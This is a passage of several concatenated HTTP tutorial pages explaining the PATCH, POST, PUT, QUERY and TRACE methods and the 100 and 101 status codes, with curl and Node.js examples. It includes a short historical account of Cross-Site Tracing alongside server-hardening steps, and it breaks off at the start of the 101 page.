'{"displayName":"Avery","temporaryNote":null}' ``` The ETag here is a placeholder, so GET the resource first to get its current strong validator. On the server side, merge patch is a specific algorithm with its own media type. Passing parsed JSON straight into a generic ORM update doesn't implement it. ## Real-World Examples JSON Patch can check a value before changing it: ```bash curl -i -X PATCH 'https://api.example.com/tickets/42' \ -H 'Content-Type: application/json-patch+json' \ -H 'If-Match: "ticket-v7"' \ --data '[{"op":"test","path":"/status","value":"open"},{"op":"replace","path":"/status","value":"closed"}]' ``` If the `test` fails, the ticket stays exactly as it was. This assumes the endpoint supports JSON Patch and the ticket has a `status` member. ### Settings and array updates On a merge-patch endpoint, a couple of boolean settings make a clean partial update: ```json {"emailNotifications":false,"pushNotifications":true} ``` Settings you leave out stay as they are. For tags, merge patch needs the complete array you want: ```json {"tags":["web","api","tutorial"]} ``` That replaces the old array outright; it won't merge the two lists or remove a single tag. If you need to change one array position, use JSON Patch, and add a precondition if another editor might have reordered the array in the meantime. ## When to Use PATCH Use PATCH when a documented change format fits better than sending the whole new state. PATCH can even create a resource, if the patch format can operate on something that doesn't exist yet and the server allows it. So "PATCH can never create" is too strong a rule. ## PATCH vs Other Methods PUT is idempotent by definition, while PATCH is only as idempotent as its operations. POST is for whatever processing the resource defines. Whichever method you pick, validation, authorization and concurrency control are still your job. ## PATCH Formats ### JSON Merge Patch [RFC 7396](https://www.rfc-editor.org/rfc/rfc7396.html) defines `application/merge-patch+json`. Objects merge recursively. A member set to `null` gets removed, not stored as a JSON null, and a member you leave out stays unchanged. Arrays are replaced wholesale, so you can't append one element with this format. An API that takes `application/json` with a subset of fields has its own contract, unless it says otherwise. Looking like merge patch doesn't make it merge patch, so name it after what it actually does. Here's why a shallow object spread isn't enough. Start with: ```json {"profile":{"name":"Avery","city":"London"},"tags":["web"],"temporaryNote":"draft"} ``` Apply this as `application/merge-patch+json`: ```json {"profile":{"city":"Paris"},"tags":["api"],"temporaryNote":null} ``` And you get: ```json {"profile":{"name":"Avery","city":"Paris"},"tags":["api"]} ``` The name survives because the merge is recursive, the tags array gets replaced, and the temporary note disappears. If your data model needs a member whose value really is `null`, that removal rule gets in the way. JSON Patch can set a value to null without treating it as a delete. ### JSON Patch [RFC 6902](https://www.rfc-editor.org/rfc/rfc6902.html) defines `application/json-patch+json`: an ordered array of `add`, `remove`, `replace`, `move`, `copy` and `test` operations, with paths written as JSON Pointers. An `add` to `/tags/-` appends to an existing array, so sending the same patch twice appends twice. `replace` only works if its target already exists. Each of the six operations has its own rules: | Operation | Concrete behavior | | --- | --- | | add | Add an object member or insert an array element; `/-` appends to an array. | | remove | Remove an existing target. | | replace | Replace an existing target. | | move | Remove at `from`, then add at `path`. | | copy | Copy the value at `from` to `path`. | | test | Compare the target with `value`; failure stops application. | JSON Pointer escapes `~` as `~0` and `/` as `~1`. So `/a~1b` points at a member literally named `a/b`, not at `b` inside `a`. If a patch works for ordinary field names but fails on user-defined keys, check the escaping. ## Common Response Codes A 200 can return the updated representation, and a 204 returns nothing. A failed `If-Match` normally gets [412](https://howhttpworks.com/status-codes/412). A conflict that isn't a failed precondition can get [409](https://howhttpworks.com/status-codes/409). For a patch media type the server doesn't support, send [415](https://howhttpworks.com/status-codes/415) with `Accept-Patch` listing the formats it does accept. A patch the server understands but can't apply can get [422](https://howhttpworks.com/status-codes/422). ## Getting PATCH right Ask the server what it supports with OPTIONS: ```bash curl -i -X OPTIONS 'https://api.example.com/users/42' ``` A response might look like this: ```http HTTP/1.1 204 No Content Date: Mon, 05 Oct 2026 12:00:00 GMT Allow: GET, HEAD, PATCH, OPTIONS Accept-Patch: application/merge-patch+json, application/json-patch+json ``` Run authorization and validation against the document that results from the patch, not only against the keys in the request. Check `If-Match` and write the change in one atomic step, so nothing can slip in between the check and the write. A PATCH response is cacheable only if it has explicit freshness information and a `Content-Location` that matches the target URI. Even then, the cached copy can answer later GET or HEAD requests, never another PATCH. In a browser client, hold on to the ETag you read with the document and send it back: ```javascript async function patchDocument(id, changes, etag) { const response = await fetch(`/api/documents/${encodeURIComponent(id)}`, { method: 'PATCH', headers: { 'Content-Type': 'application/merge-patch+json', 'If-Match': etag }, body: JSON.stringify(changes) }) if (response.status === 412) throw new Error('Document changed; reload before editing') if (!response.ok) throw new Error(`PATCH failed: ${response.status}`) return response.status === 204 ? null : response.json() } ``` A 412 means someone else changed the document, so retrying blindly would overwrite their work. Reload, reconcile the changes, and submit against the new version. A cross-origin client also needs the server to expose `ETag` and allow the `If-Match` request header. If you hit a 415, compare your exact media type with `Accept-Patch` before you touch the patch body. ## Try It Yourself Try a partial update with the [update preset](https://howhttpworks.com/tools/playground?preset=update). Check which Content-Type that endpoint accepts before you assume it implements either standard JSON patch format. On a merge-patch endpoint, compare sending `{"tags":["api"]}` with leaving tags out. The first replaces the array and the second leaves it alone. An endpoint with its own custom partial-update contract may behave differently. ## Related Methods - [PUT](https://howhttpworks.com/methods/put) - [POST](https://howhttpworks.com/methods/post) ## Related Concepts - [If-Match](https://howhttpworks.com/headers/if-match) - [Idempotent](https://howhttpworks.com/glossary/idempotent) --- # HTTP POST Method: Complete Guide with Examples > Learn how the HTTP POST method works. Understand when to use POST requests, request bodies, form submissions, and API calls with practical examples. Source: https://howhttpworks.com/methods/post Last reviewed: 2026-10-05 > **TL;DR:** POST sends data in the request body for the server to process: create a record, submit a form, upload a file, or trigger an action. Return `201 Created` with a `Location` header when it creates something. POST isn't idempotent, so retrying after a dropped connection can create a duplicate, and putting data in the body doesn't encrypt it. Use HTTPS for that. ## What is POST? [RFC 9110 §9.3.3](https://www.rfc-editor.org/rfc/rfc9110.html#section-9.3.3) defines POST loosely: the target resource processes the request body according to its own rules. Creating a record is one common use, but not the definition. A POST can just as well compute and return a result without creating anything. This curl command sends JSON to an example API (requests and responses on this page are trimmed examples): ```bash curl -i 'https://api.example.com/documents' \ -H 'Content-Type: application/json' \ --data '{"title":"Notes","text":"Reviewed"}' ``` A creation response, headers only: ```http HTTP/1.1 201 Created Location: /documents/notes Content-Type: application/json Cache-Control: no-store ``` `Location` points to the main resource that was created. On a 201 it's information for the client, not a redirect the browser follows. ## Key Characteristics POST is neither safe nor idempotent. Picture a connection that drops after the server has committed an order but before the response arrives. If the client sends the request again, it may create a second order. Applications can add their own deduplication, but the method doesn't give you that. POST responses are cacheable in a narrow case: they need explicit freshness information and a `Content-Location` that matches the target URI. A cache can then use that stored response for later GET or HEAD requests, never for another POST. In practice, many caches only cache GET and HEAD. If a response must never be stored, say so with `Cache-Control: no-store` instead of counting on the method to keep it private. ## Content Types For JSON, set `Content-Type: application/json`. For URL-encoded forms, let curl do the encoding: ```bash curl -i 'https://api.example.com/search' \ --data-urlencode 'q=red shoes' \ --data-urlencode 'category=books' ``` For uploads, point at a real local file and let the client generate the multipart boundary: ```bash curl -i 'https://api.example.com/uploads' \ -F 'file=@./report.pdf;type=application/pdf' \ -F 'description=Quarterly report' ``` In the browser, `FormData` does the same job. Leave `Content-Type` unset and let it write the header. A bare `multipart/form-data` you set by hand has no boundary, so the server can't parse the body. The server's body parser has to match the request's media type. In Express, JSON and URL-encoded forms each get their own middleware: ```javascript app.use(express.json({ limit: '100kb' })) app.use(express.urlencoded({ extended: false, limit: '100kb' })) ``` The [documented JSON parser limit](https://expressjs.com/en/5x/api/express/#express.json) defaults to `100kb`; this example just makes it explicit. Neither middleware handles multipart uploads, so add a multipart parser with its own limits if you accept files. A reverse proxy might reject a large upload before Express sees it, so when you get a 413, find out which layer sent it. For plain text, `--data-binary` sends a local file's contents unchanged: ```bash curl -i 'https://api.example.com/import-text' \ -H 'Content-Type: text/plain; charset=utf-8' \ --data-binary @./notes.txt ``` You could assemble a multipart body by hand, but `-F` generates matching boundary delimiters and part headers for you. In browser code, FormData does the same. ## Real-World Examples After handling an HTML form, the server can reply with a 303 pointing at a result page. The browser then loads that page with GET, instead of leaving the form POST as the page on screen: ```http HTTP/1.1 303 See Other Date: Mon, 05 Oct 2026 12:00:00 GMT Location: /orders/42 Content-Length: 0 ``` This is the Post/Redirect/Get pattern. Refreshing the result page reloads the GET instead of resubmitting the form. It only helps with refreshes, though: if two submissions already reached the server, you still have two. ### Creating a document in Express This runnable example assigns a UUID, keeps the document in process memory, and returns its URL: ```javascript const express = require('express') const { randomUUID } = require('node:crypto') const app = express() const documents = new Map() app.use(express.json({ limit: '100kb' })) app.post('/documents', (req, res) => { const { title, text } = req.body ?? {} if (typeof title !== 'string' || typeof text !== 'string') { return res.status(400).json({ error: 'title and text must be strings' }) } const id = randomUUID() const document = { id, title, text } documents.set(id, document) res.location(`/documents/${id}`).status(201).json(document) }) app.get('/documents/:id', (req, res) => { const document = documents.get(req.params.id) if (!document) return res.status(404).end() res.json(document) }) app.listen(3000) ``` Send the same JSON twice and compare the two Location values: you get two documents. That's POST working as designed. The example skips authentication and durable storage, which a real application needs. The 201 tells the client something was created, and following its Location retrieves it. ## Response Status Codes Use [201](https://howhttpworks.com/status-codes/201) when something was created, [200](https://howhttpworks.com/status-codes/200) to return a processing result, [202](https://howhttpworks.com/status-codes/202) when the work was accepted but isn't finished, and [204](https://howhttpworks.com/status-codes/204) for success with no body. A content type the endpoint doesn't support gets [415](https://howhttpworks.com/status-codes/415), and a body that's too large gets [413](https://howhttpworks.com/status-codes/413). ## POST vs GET GET retrieves a representation; POST submits content for processing. POST URLs can carry query parameters too. Moving values into the body keeps them out of the URL, but application logs and monitoring tools may still record the body. Send credentials over HTTPS and keep their values out of your logs. Neither method has unlimited size. nginx's [documented default](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size), for example, is `client_max_body_size 1m`, and a request body over that limit gets 413. Other proxies and applications set their own limits. ## POST vs PUT With POST, the target decides what processing means. PUT creates or replaces the state at a URL the client chooses, and it's idempotent. `POST /documents` with a server-assigned URL is a common design, but nothing requires POST to target a collection. ## Common Headers `Content-Type` describes the body you're sending, and `Accept` asks for a response format. Clients normally handle framing headers like `Content-Length` themselves, and browser Fetch won't let you set it. `Location` can point to a new resource. For a cross-origin response, JavaScript can only read it if the server sends `Access-Control-Expose-Headers: Location`. ## Getting POST right If clients retry after an uncertain failure, give them an [idempotency-key contract](https://howhttpworks.com/glossary/idempotency-key) and document it. The header on its own prevents nothing. The server has to store each key with its request and result, and stop concurrent attempts with the same key from running the action twice. In browsers, a cross-origin POST with a JSON body or an Authorization header normally triggers a [CORS preflight](https://howhttpworks.com/methods/options). The actual response needs CORS headers as well, not just the preflight. ## JavaScript Examples ```javascript const response = await fetch('/api/documents', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ title: 'Notes', text: 'Reviewed' }) }) if (!response.ok) throw new Error(`POST failed: ${response.status}`) if (response.status !== 204) { const result = await response.json() // This endpoint promises JSON when it has content. console.log(result) } ``` Fetch only rejects on network failures, not HTTP error statuses. Check the status, and know what the endpoint returns, before parsing the body. ### Submitting a form with a file This handler expects an existing `
` with a file input named `file`. Each form field name becomes a multipart part name: ```javascript const form = document.querySelector('#upload') form.addEventListener('submit', async (event) => { event.preventDefault() const body = new FormData(form) const response = await fetch('/api/uploads', { method: 'POST', body }) if (!response.ok) throw new Error(`Upload failed: ${response.status}`) console.log(response.status) }) ``` For a form without files, URLSearchParams works too: ```javascript const body = new URLSearchParams({ q: 'red shoes', category: 'books' }) const response = await fetch('/api/search', { method: 'POST', body }) if (!response.ok) throw new Error(`Search failed: ${response.status}`) ``` Fetch sets the right form media type for URLSearchParams automatically. With FormData, setting Content-Type yourself can leave the boundary missing or mismatched. Either way, the endpoint has to accept that format. Switching a request from JSON to form encoding changes what the server's parser receives. ## Try It Yourself Open the [create preset](https://howhttpworks.com/tools/playground?preset=create). Compare the request Content-Type, the response status and any Location header. It's an exercise in reading the request and response, not a test of retry deduplication. If you repeat a creation request, use throwaway example data. Two 201 responses with different Location values mean two resources were created. A 303 redirect to a result page won't merge them. ## Related Methods - [GET](https://howhttpworks.com/methods/get) - [PUT](https://howhttpworks.com/methods/put) ## Related Concepts - [Idempotent](https://howhttpworks.com/glossary/idempotent) - [CORS](https://howhttpworks.com/guides/cors) --- # HTTP PUT Method: Update Resources > Learn how the HTTP PUT method works, when to use PUT vs POST vs PATCH, and best practices for updating resources in REST APIs. Source: https://howhttpworks.com/methods/put Last reviewed: 2026-10-05 > **TL;DR:** PUT creates or replaces the state of the resource at the target URL. Repeating the same request has the same intended effect, but can return a different status. Use `If-Match` to avoid overwriting a concurrent edit. ## What is PUT? The client chooses the target URL and submits a replacement representation. A server can reject the representation if it violates the resource's constraints. PUT does not prescribe database columns or require an API to erase every omitted field; a missing required field can be a validation error. Illustrative request. The body is 35 UTF-8 bytes with no trailing newline: ```http PUT /documents/notes HTTP/1.1 Host: api.example.com Content-Type: application/json Content-Length: 35 If-Match: "notes-v7" {"title":"Notes","text":"Reviewed"} ``` ## PUT vs POST vs PATCH PUT supplies replacement state at a known URL. POST requests processing under that target's own rules; creation with a server-assigned URL is one use. PATCH supplies a change document whose format defines how to apply it. An ORM's partial update helper does not automatically implement PUT semantics. ## Idempotency A first PUT might create a resource and return 201; an identical retry might replace it and return 204. That remains idempotent because the intended stored state is the same. The server can log each attempt or keep revision history. Idempotency permits retry after a connection failure, but does not prevent a retry from overwriting somebody else's intervening update. Preconditions solve a different problem. ## Implementation This runnable Express example replaces an in-memory document. The storage is deliberately process-local and only demonstrates the method: ```javascript const express = require('express') const app = express() const documents = new Map() app.use(express.json()) app.put('/documents/:id', (req, res) => { const { title, text } = req.body ?? {} if (typeof title !== 'string' || typeof text !== 'string') { return res.status(400).json({ error: 'title and text must be strings' }) } const existed = documents.has(req.params.id) documents.set(req.params.id, { title, text }) if (existed) return res.status(204).end() res.location(`/documents/${encodeURIComponent(req.params.id)}`) .status(201).json({ title, text }) }) app.listen(3000) ``` Run against it: ```bash curl -i -X PUT 'http://localhost:3000/documents/notes' \ -H 'Content-Type: application/json' \ --data '{"title":"Notes","text":"Reviewed"}' ``` Run the same command again and compare the status. A client must accept an empty success response as well as a JSON representation: ```javascript async function replaceDocument(id, document) { const response = await fetch(`/api/documents/${encodeURIComponent(id)}`, { method: 'PUT', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(document) }) if (!response.ok) throw new Error(`PUT failed: ${response.status}`) return response.status === 204 ? null : response.json() } ``` This client assumes JSON on nonempty successful responses. Send all writable fields required by the endpoint, not server-controlled fields copied blindly from GET. The server still has to validate the submitted document; client validation cannot protect an API from another caller. ## PUT for Create (Upsert) Creation is permitted, not required: an update-only API can reject an unknown URL. If PUT creates the target's representation, the server must send 201. Replacing an existing representation successfully requires 200 or 204. To make a creation conditional on absence, send `If-None-Match: *` and have the server evaluate it atomically with the write. See [RFC 9110 §9.3.4](https://www.rfc-editor.org/rfc/rfc9110.html#section-9.3.4). ```bash curl -i -X PUT 'https://api.example.com/documents/new-notes' \ -H 'If-None-Match: *' \ -H 'Content-Type: application/json' \ --data '{"title":"Notes","text":"Reviewed"}' ``` With that precondition enforced, a competing creator cannot silently turn this attempt into replacement. A failed precondition is normally 412. Decide whether the caller should pick a different URL or retrieve the existing document; do not automatically remove the condition and overwrite it. ## Common Response Codes [201](https://howhttpworks.com/status-codes/201) means creation; [200](https://howhttpworks.com/status-codes/200) or [204](https://howhttpworks.com/status-codes/204) means a successful replacement. [415](https://howhttpworks.com/status-codes/415) can reject an unsupported media type. A failed `If-Match` normally returns [412](https://howhttpworks.com/status-codes/412), not 409; 409 describes a conflict with resource state more generally. ## Getting PUT right Define the writable representation and validate it before replacing state. Protect server-controlled fields such as owner and role. PUT responses are not cacheable; a successful unsafe request invalidates the cached target under [RFC 9111 §4.4](https://www.rfc-editor.org/rfc/rfc9111.html#section-4.4). ## Optimistic Concurrency with ETags Read the representation and its strong ETag, then submit it with the replacement: ```bash curl -i 'https://api.example.com/documents/notes' curl -i -X PUT 'https://api.example.com/documents/notes' \ -H 'If-Match: "notes-v7"' \ -H 'Content-Type: application/json' \ --data '{"title":"Notes","text":"Reviewed"}' ``` The ETag above is illustrative; use the one your GET returned. `If-Match` uses strong comparison, so a weak tag such as `W/"notes-v7"` cannot satisfy it. The server must check the version and write as one atomic operation. A separate read, string comparison, and unconditional database update leaves a race. The header can contain a list of tags or `*`, so checking it as one arbitrary string is incomplete. A successful PUT must not return a new validator if the request representation was transformed before storage; see the validator rule in §9.3.4. ## Related - [PATCH](https://howhttpworks.com/methods/patch) - [If-Match](https://howhttpworks.com/headers/if-match) - [PUT vs POST](https://howhttpworks.com/compare/put-vs-post) --- # HTTP QUERY Method: Safe Requests With a Body (RFC 10008) > HTTP QUERY is a safe, idempotent method with the query in the body. RFC 10008 status, an example exchange, caching rules, and why GET with a body fails. Source: https://howhttpworks.com/methods/query Last reviewed: 2026-10-04 > **TL;DR:** QUERY is a safe, idempotent HTTP method whose query goes in the request body. It is now a standard, [RFC 10008](https://www.rfc-editor.org/rfc/rfc10008.html) (June 2026, formerly `draft-ietf-httpbis-safe-method-w-body`), and it exists because GET cannot carry a large or structured query reliably and POST tells every proxy the request might change something. ## The gap it fills You have a search endpoint whose filter is a JSON document, a GraphQL-style query, or a form with hundreds of IDs. Putting it in the URL runs into length limits (see [414](https://howhttpworks.com/status-codes/414)) and leaks the query into logs and history. Putting it in a POST body works, but [POST](https://howhttpworks.com/methods/post) is neither safe nor idempotent, so a client cannot automatically retry it after a dropped connection, and shared caches will not reuse the response without extra work. A body on GET is not an escape hatch (see below). QUERY is defined as safe and idempotent: the RFC says the client does not request or expect any change to the target resource's state, and that a QUERY can be retried, for instance after a connection failure. ## Example exchange The request is the example from RFC 10008, Appendix A.1; the response body is an illustrative sketch: ```http QUERY /contacts HTTP/1.1 Host: example.org Content-Type: application/x-www-form-urlencoded Accept: application/json select=surname,givenname,email&limit=10 ``` ```http HTTP/1.1 200 OK Content-Type: application/json [ { "surname": "Smith", "givenname": "John", "email": "smith@example.org" }, { "surname": "Jones", "givenname": "Sally", "email": "sally.jones@example.com" } ] ``` Points from the specification: - Content is required, and the server must fail the request if `Content-Type` is missing or inconsistent with the content. An unsupported media type gets [415](https://howhttpworks.com/status-codes/415). - The body is not an arbitrary payload: its meaning is defined by its media type and the target resource, such as a form encoding, a JSON query document or SQL. - A response may include `Content-Location` pointing at a resource where the result can be fetched with a plain GET, and `Location` pointing at a resource that repeats the same query without resending the body. A `303 See Other` says the query can be answered by a normal retrieval of the `Location` URI. - Servers can advertise supported query formats with the `Accept-Query` response field, a structured-fields list of media types. ```http Accept-Query: "application/jsonpath", application/sql;charset="UTF-8" ``` ## Caching QUERY responses are cacheable. The difference from GET is the key: [RFC 10008 section 2.7](https://www.rfc-editor.org/rfc/rfc10008.html) requires that the cache key for a QUERY request incorporate the request content and related metadata. A cache may normalize insignificant differences before keying, such as removing content encoding or applying format conventions like `+json`, but that only changes the key; the request forwarded upstream is untouched. Standard freshness rules (`Cache-Control`, `Vary`) still apply to the response. Practically, a CDN or reverse proxy that does not know QUERY will not cache it, and may refuse or mishandle it. Do not assume your edge supports the method because the RFC exists. ## Why GET with a body is unreliable [RFC 9110 section 9.3.1](https://www.rfc-editor.org/rfc/rfc9110#section-9.3.1) says content in a GET request has no generally defined semantics, cannot change the meaning or target of the request, and might lead some implementations to reject the request and close the connection because of its potential as a request smuggling vector. In practice: - Browsers will not do it. `fetch` fails with `TypeError: Failed to execute 'fetch' on 'Window': Request with GET/HEAD method cannot have body.` in Chrome. - Proxies and CDNs differ: some strip the body, some forward it, some return an error. A cache that keys on the URL treats two different bodies as the same request. - Some HTTP libraries, and tools such as API gateways and WAFs, drop or reject it. QUERY gives the body defined semantics, so none of this is guesswork. ## Using it today - Check the `Allow` header or `Accept-Query` before relying on it; servers that do not know the method answer [405](https://howhttpworks.com/status-codes/405) or [501](https://howhttpworks.com/status-codes/501). - From a browser, `fetch(url, { method: 'QUERY', body })` sends the method name as written. It is not a CORS-safelisted method, so a cross-origin call triggers a preflight and the server must list `QUERY` in `Access-Control-Allow-Methods`. - Keep a POST fallback for clients and intermediaries that cannot pass QUERY through, and say so in your API docs. ```bash curl -i -X QUERY https://api.example.com/contacts \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'select=surname,givenname,email&limit=10' ``` ## Related QUERY keeps the guarantees of [GET](https://howhttpworks.com/methods/get) and the body of [POST](https://howhttpworks.com/methods/post). For the decision between those two today, see [GET vs POST](https://howhttpworks.com/compare/get-vs-post). --- # HTTP TRACE Method: What It Does and Why to Disable It > HTTP TRACE echoes the request back for diagnostics. Cross-Site Tracing history, why scanners flag "TRACE enabled", and how to disable it in Apache and nginx. Source: https://howhttpworks.com/methods/trace Last reviewed: 2026-10-04 > **TL;DR:** TRACE makes a server echo your request back as `message/http`, a diagnostic from the 1990s. Browsers forbid it in `fetch` and `XMLHttpRequest`, but scanners still flag servers that answer it, so turn it off: `TraceEnable off` in Apache, and make sure nginx or your backend returns 405. ## What it does A TRACE request carries no body. The server (or the last proxy, when `Max-Forwards` runs down to 0) replies `200` and puts the request it received in the body. [RFC 9110 section 9.3.8](https://www.rfc-editor.org/rfc/rfc9110#section-9.3.8) specifies it: ```http TRACE /hello HTTP/1.1 Host: example.com Max-Forwards: 2 ``` ```http HTTP/1.1 200 OK Content-Type: message/http TRACE /hello HTTP/1.1 Host: example.com Max-Forwards: 1 Via: 1.1 edge-proxy ``` The point was to see how intermediaries changed the request: a proxy that added a `Via` header or decremented `Max-Forwards` shows up in the echo. The RFC says a client must not send content or sensitive fields such as cookies or credentials in a TRACE request, and that a server should not reflect fields that could hold sensitive data. Nobody uses it for diagnostics now; `curl -v`, [Via](https://howhttpworks.com/headers/via) and proxy logs do the job. ## Cross-Site Tracing and why it is still flagged In 2003 Jeremiah Grossman published a white paper on Cross-Site Tracing (XST). The trick: an XSS payload sends a TRACE request to the victim site. The browser attaches its cookies (and any cached HTTP credentials) automatically, the server echoes them back in the body, and the script reads the body. That defeated `HttpOnly`, which only hides cookies from `document.cookie`, not from an echoed response. Browsers closed the browser-side path by refusing to send TRACE from script. The Fetch Standard lists `CONNECT`, `TRACE` and `TRACK` as forbidden methods, so `fetch('/', { method: 'TRACE' })` rejects with a `TypeError` before anything goes on the network. XST as originally described is therefore not practical against current browsers, and the finding is usually rated low severity. Scanners (Nessus, Qualys, OWASP ZAP, PCI ASV tooling) still report "HTTP TRACE method enabled" because the check is cheap and the remedy is trivial. Treat it as hygiene: it removes a finding and an echo endpoint that can leak headers added by proxies or gateways, such as internal forwarding or authentication headers. ## Check whether it is enabled ```bash curl -i -X TRACE https://example.com/ ``` A server that supports it returns `200 OK` with `Content-Type: message/http`. A hardened one returns `405`, `403` or `501`. Test the public hostname, not only the origin, because a CDN or load balancer in front can answer differently from the server behind it. ## Disable it Apache has a dedicated directive, and it defaults to on: ```apache TraceEnable off ``` With that set, Apache answers TRACE with `405 Method Not Allowed` (checked on httpd 2.4). The directive is valid in server config and virtual host context, not `.htaccess`. `TraceEnable extended` goes the other way and allows a request body, for conformance testing. nginx has no TRACE feature to switch off. Serving its own content, stock nginx replies `405 Not Allowed` to TRACE (tested on the official `nginx:alpine` image). When you `proxy_pass`, nginx forwards the method upstream, so a backend that echoes TRACE is reachable through it. Block unwanted methods at the edge: ```nginx server { # Allow only the methods this site uses if ($request_method !~ ^(GET|HEAD|POST|PUT|PATCH|DELETE|OPTIONS)$) { return 405; } } ``` Tomcat disables it by default: the `allowTrace` attribute on `` defaults to `false`. ## Related TRACE is safe and idempotent in RFC 9110 terms but not cacheable. If your scan also lists unexpected `OPTIONS` or `PUT`, see [OPTIONS](https://howhttpworks.com/methods/options); a rejected method comes back as [405](https://howhttpworks.com/status-codes/405) or [501](https://howhttpworks.com/status-codes/501). --- # 100 Continue > The server received the request headers and the client should proceed to send the body. Learn when and how to use 100 Continue for efficient large uploads. Source: https://howhttpworks.com/status-codes/100 Last reviewed: 2026-10-05 > **TL;DR:** `100 Continue` is the server saying "headers look fine, send the body." A client opts in by sending `Expect: 100-continue` and pausing before a large upload. It's an interim response with no body; the real result arrives in the final response that follows, which might be an error. ## When Does This Happen? Say a client wants to upload a 2 GB file. It sends the request headers with `Expect: 100-continue` and pauses. If the server can already tell it will reject the request (wrong credentials, a size limit, an unsupported type), it sends that final error right away. Otherwise it sends 100 and reads the body. Either way, nobody wastes bandwidth on a body that was never going to be accepted. Per [RFC 9110 §10.1.1](https://www.rfc-editor.org/rfc/rfc9110#section-10.1.1), the client doesn't have to wait forever; after a timeout it sends the body anyway. A server can also skip the 100 if some of the body has already arrived. And a 100 only means "keep going". Authentication, quota and content checks can fail once the server reads the body. ## Example Responses Here's a trimmed HTTP/1.1 exchange with a five-byte body. The client sends its headers and waits: ```http POST /upload HTTP/1.1 Host: localhost:8081 Content-Type: application/octet-stream Content-Length: 5 Expect: 100-continue ``` The server answers with the interim response. The blank line ends it: ```http HTTP/1.1 100 Continue ``` The client sends `hello`, and once the server has read it, it returns the final status: ```http HTTP/1.1 204 No Content ``` Neither 100 nor 204 has a body. A real upload endpoint might just as well return an error here after validating what it received. ## Getting 100 Continue right Node's HTTP server sends 100 automatically when it sees `Expect: 100-continue`, **unless you register a `checkContinue` listener**. By the time your normal request handler runs, the 100 has already gone out, so that's too late to reject on headers. Once you handle `checkContinue`, Node skips the usual `request` event for those requests, so you have to route accepted ones to your body handler yourself. See the [Node HTTP documentation](https://nodejs.org/api/http.html#event-checkcontinue). ## Implementation Examples Save this as `continue-demo.mjs` and run `node continue-demo.mjs`. It accepts one route and one media type, throws the body away, and returns 204. There's no storage or authentication; it's just for watching the exchange. ```javascript import http from 'node:http'; function accept(req, res) { const status = req.method !== 'POST' || req.url !== '/upload' ? 404 : req.headers['content-type'] !== 'application/octet-stream' ? 415 : 0; if (!status) return true; res.writeHead(status, { Connection: 'close' }); res.end(); return false; } function consume(req, res) { req.on('end', () => { res.writeHead(204); res.end(); }); req.resume(); } const server = http.createServer((req, res) => { if (accept(req, res)) consume(req, res); }); server.on('checkContinue', (req, res) => { if (!accept(req, res)) return; res.writeContinue(); consume(req, res); }); server.listen(8081, '127.0.0.1'); ``` On the client side, Node fires a [`continue` event](https://nodejs.org/api/http.html#event-continue) when the 100 arrives. Pair it with your own fallback timer. Save this as `continue-client.mjs` and run it while the demo server is up: ```javascript import http from 'node:http'; const body = Buffer.from('hello'); let sent = false; let final = false; let timer; const req = http.request('http://127.0.0.1:8081/upload', { method: 'POST', headers: { Expect: '100-continue', 'Content-Type': 'application/octet-stream', 'Content-Length': body.length, }, }, (res) => { final = true; clearTimeout(timer); console.log('final', res.statusCode); res.resume(); res.on('end', () => { if (!sent) req.destroy(); }); }); function sendBody() { if (sent || final) return; sent = true; clearTimeout(timer); req.end(body); } req.once('continue', sendBody); req.on('error', (error) => { clearTimeout(timer); console.error(error.message); }); req.once('close', () => clearTimeout(timer)); timer = setTimeout(sendBody, 1000); req.flushHeaders(); ``` [`flushHeaders()`](https://nodejs.org/api/http.html#requestflushheaders) pushes the headers out without the body. If you called `req.end(body)` right away instead, the body would go out before the server had a chance to decide. The one-second timer is this example's choice; Node doesn't impose one. The `sent` guard stops a late 100 from sending the body a second time after the timer already fired. Change the Content-Type to `text/plain` to see the server's immediate 415. With a proxy in the middle, the proxy might send the 100 itself and the origin might reject the upload later. The 100 your client saw only tells you about that one connection. To debug, capture both legs or line up the proxy and origin logs, and judge success by the final status and what the origin actually stored. ## Try It Yourself Use curl against that local server: ```bash printf 'hello' > /tmp/continue-body.txt curl --http1.1 -v --expect100-timeout 1 \ -H 'Expect: 100-continue' \ -H 'Content-Type: application/octet-stream' \ --data-binary @/tmp/continue-body.txt \ http://127.0.0.1:8081/upload ``` Run it again with `Content-Type: text/plain` and the server rejects the request before sending 100. curl's verbose trace shows both the interim and the final status. curl's [`--expect100-timeout`](https://curl.se/docs/manpage.html#--expect100-timeout) defaults to one second. After that, it sends the body whether or not a 100 showed up. The option only sets the wait; the command above adds the `Expect` header explicitly. To compare, send the same upload with the header suppressed: ```bash curl --http1.1 -v -H 'Expect:' \ -H 'Content-Type: application/octet-stream' \ --data-binary @/tmp/continue-body.txt \ http://127.0.0.1:8081/upload ``` This one goes through the server's ordinary request path. In the trace you'll see the body go out right after the headers, with no pause. ## Common Mistakes HTTP doesn't define how long a client should wait for the 100. Each client picks its own timeout, so set it in the client you're using. If a server returns `417 Expectation Failed`, RFC 9110 says to retry without the expectation, which just sends the body straight away. You can't test this from a browser. Fetch won't let you set `Expect`, because it's a [forbidden request header](https://fetch.spec.whatwg.org/#forbidden-request-header). Use curl or another HTTP client. ## 100 vs Other Informational Codes `100` is about the request body: go ahead and send it. [103 Early Hints](https://howhttpworks.com/status-codes/103) is about the response: here are resources to start loading while the server finishes. Both are interim, and neither has a body. ## Related Status Codes - [103 Early Hints](https://howhttpworks.com/status-codes/103) - [417 Expectation Failed](https://howhttpworks.com/status-codes/417) - [413 Content Too Large](https://howhttpworks.com/status-codes/413) --- # 101 Switching Protocols > The server is switching to a different protocol as requested by the client. Learn about WebSocket upgrades and protocol negotiation. Source: https://howhttpworks.com/status-codes/101 Last reviewed: 2026-10-04 > **TL;DR:** Server agrees to switch protocols (usually HTTP to WebSocket). Connection changes to new protocol after this response. ## What is 101 Switching Protocols? A **101 Switching Protocols** status code means the server agrees to switch to a different protocol that the client requested via the `Upgrade` header. Think of it like switching from talking on the phone to having a video call—you're changing the communication method mid-conversation. This is most commonly used to upgrade from HTTP to WebSocket for real-time bidirectional communication. ## When Does This Happen? You'll see a 101 Switching Protocols response in these common situations: **1. WebSocket Connection Upgrade** ```text Client wants to establish WebSocket for real-time chat HTTP → WebSocket ``` **2. HTTP/2 Upgrade (Less Common)** ```text Client requests HTTP/2 over cleartext HTTP/1.1 → HTTP/2 ``` **3. Custom Protocol Upgrade** ```text 